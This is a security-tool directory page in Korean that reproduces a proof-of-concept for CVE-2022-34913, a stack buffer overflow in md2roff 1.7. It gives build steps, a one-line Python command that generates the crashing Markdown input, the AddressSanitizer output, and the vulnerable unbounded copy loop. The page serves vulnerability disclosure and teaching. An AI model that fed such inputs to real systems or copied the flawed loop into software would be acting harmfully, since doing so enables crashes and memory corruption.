Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-34913 — CVE-2022-34913에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/halcy0nic/cve-2022-34913
Vulnerability AnalysisExploitationFuzzingPapers & ResearchLearning & EducationBinary Exploitation
GitHubhalcy0nic/cve-2022-34913

CVE-2022-34913

CVE-2022-34913에 대한 개념 증명

저장소 보기
143년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-34913 설명

md2roff 1.7은 처리할 연속 문자가 많이 포함된 Markdown 파일을 통해 스택 기반 버퍼 오버플로우가 발생합니다.

재현

취약점을 재현하려면 취약한 버전의 md2roff(버전 1.7)를 다운로드해야 합니다:

root@kitploit:~
git clone https://github.com/nereusx/md2roff.git
cd md2roff
git checkout 7fc373d25c91422454f081c8a717222d77fd7add
make

프로젝트가 컴파일되면, 다량의 ASCII 문자 버퍼가 포함된 악성 markdown 파일을 생성하는 것으로 시작할 수 있습니다:

root@kitploit:~
python3 -c 'print("1"*5000)' > poc.md

이제 md2roff에 악성 markdown 파일을 지정하여 크래시를 유발할 수 있습니다:

root@kitploit:~
./md2roff poc.md

이전 명령을 실행하면 segfault가 발생합니다:

root@kitploit:~
segmentation fault  ./md2roff poc.md

오버플로우가 발생하는 위치를 더 잘 이해하기 위해 Makefile의 CFLAGS 변수에 -fsanitize=address를 추가하여 address sanitizer(ASAN)로 프로젝트를 다시 컴파일합니다. 또한 컴파일러가 실행 파일에 심볼 테이블 정보를 저장하도록(-g 플래그) 하여 크래시를 발생시킨 코드 줄을 확인할 수 있게 하려고 합니다:

root@kitploit:~
CFLAGS = -std=c99 -fsanitize=address -g

다음으로 오래된 파일을 정리하고 프로젝트를 다시 컴파일합니다:

root@kitploit:~
make clean
make

ASAN 출력은 취약한 소스 코드가 에 있음을 보여줍니다:

md2roff.c, 1095줄
root@kitploit:~
==180298==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdddcce7e0 at pc 0x556b5ebc39da bp 0x7ffdddcce5e0 sp 0x7ffdddcce5d8
WRITE of size 1 at 0x7ffdddcce7e0 thread T0
    #0 0x556b5ebc39d9 in md2roff /dev/shm/md2roff/md2roff.c:1095
    #1 0x556b5ebc620f in main /dev/shm/md2roff/md2roff.c:1394
    #2 0x7f3576046189 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #3 0x7f3576046244 in __libc_start_main_impl ../csu/libc-start.c:381
    #4 0x556b5ebba3b0 in _start (/dev/shm/md2roff/md2roff+0x73b0)

Address 0x7ffdddcce7e0 is located in stack of thread T0 at offset 80 in frame
    #0 0x556b5ebbdb65 in md2roff /dev/shm/md2roff/md2roff.c:618

  This frame has 6 object(s):
    [32, 40) 'tt' (line 687)
    [64, 80) 'num' (line 1090) <== Memory access at offset 80 overflows this variable
    [96, 160) 'appname' (line 625)
    [192, 256) 'appsec' (line 625)
    [288, 352) 'appdate' (line 625)
    [384, 640) 'secname' (line 625)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /dev/shm/md2roff/md2roff.c:1095 in md2roff
Shadow bytes around the buggy address:
  0x10003bb91ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91cd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91ce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10003bb91cf0: 00 00 f1 f1 f1 f1 f8 f2 f2 f2 00 00[f2]f2 00 00
  0x10003bb91d00: 00 00 00 00 00 00 f2 f2 f2 f2 00 00 00 00 00 00
  0x10003bb91d10: 00 00 f2 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
  0x10003bb91d20: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003bb91d40: 00 00 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==180298==ABORTING

취약한 소스 코드:

root@kitploit:~
1093:    n = num;
1094:    while ( isdigit(*p) )
1095:        *n ++ = *p ++;

참조

  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34913
  • https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
도구 다운로드